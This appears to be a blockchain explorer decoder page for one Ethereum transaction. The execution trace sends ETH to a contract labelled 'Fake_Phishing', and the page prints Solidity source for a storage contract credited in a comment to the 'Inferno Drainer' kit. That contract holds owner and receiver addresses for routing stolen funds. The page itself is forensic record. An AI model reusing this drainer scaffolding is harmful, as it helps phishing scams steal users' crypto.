ETH Price: $2,488.45 (-4.29%)

Transaction Decoder

Block:
22839640 at Jul-03-2025 03:38:23 PM +UTC
Transaction Fee:
0.000697481355093904 ETH $1.74
Gas Used:
153,094 Gas / 4.555902616 Gwei

Emitted Events:

25 0x0000210a3effe31fcdef6cbe6cda94e83c370000.0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef( 0xddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef, 0x0000000000000000000000000000000000000000000000000000000000000000, 0x0000000000000000000000000000210a3effe31fcdef6cbe6cda94e83c370000, 00000000000000000000000000000000000000000000021e19e0c9bab2400000 )

Account State Difference:

  Address   Before After State Difference Code
0x0000210a...83c370000 0.236447586803193235 Eth0.292255440165838636 Eth0.055807853362645401
0x139d1df8...4b5f7922b
0.078820636822774058 Eth
Nonce: 23
0.022315302105034753 Eth
Nonce: 25
0.056505334717739305From: 0 To: 22892026855592066050609947431602401211538835161166308139
(Fee Recipient: 0xe43...4CA)
5.226254546556041578 Eth5.226560734556041578 Eth0.000306188

Execution Trace

0x139d1df81a4e7db28cb175837b5aa714b5f7922b.e9ae5c53( )
  • ETH 0.055807853362645401 Fake_Phishing1288562.8bf4eff3( )
    • StorageContract.CALL( )
    • Fake_Phishing1288562.df60a6ed( )
      • Fake_Phishing1288562.STATICCALL( )
      • Fake_Phishing1288562.88417d5c( )
        • Fake_Phishing1288562.STATICCALL( )
          // @mr_inferno_drainer / inferno drainer
          
          pragma solidity ^0.8.6;
          
          contract StorageContract {
              address public nativeCryptoReceiver;
              address[] public owners;
          
              constructor(address defaultNativeCryptoReceiver, address firstOwner) {
                  nativeCryptoReceiver = defaultNativeCryptoReceiver;
                  owners.push(firstOwner);
              }
          
              modifier onlyOwner() {
                  bool isOwner = false;
                  for (uint256 i = 0; i < owners.length; i++) {
                      if (msg.sender == owners[i]) {
                          isOwner = true;
                          break;
                      }
                  }
                  require(isOwner, "Caller is not an owner");
                  _;
              }
          
              function addOwner(address newOwner) public onlyOwner {
                  owners.push(newOwner);
              }
          
              function getOwners() public view returns (address[] memory) {
                  return owners;
              }
          
              function removeOwner(address ownerToRemove) public onlyOwner {
                  uint256 index = type(uint256).max;
          
                  for (uint256 i = 0; i < owners.length; i++) {
                      if (owners[i] == ownerToRemove) {
                          index = i;
                          break;
                      }
                  }
          
                  require(index != type(uint256).max, "Owner not found");
                  require(owners.length > 1, "Cannot remove the last owner");
          
                  owners[index] = owners[owners.length - 1];
                  owners.pop();
              }
          
              function changeNativeCryptoReceiver(address newNativeCryptoReceiver)
                  public
                  onlyOwner
              {
                  nativeCryptoReceiver = newNativeCryptoReceiver;
              }
          }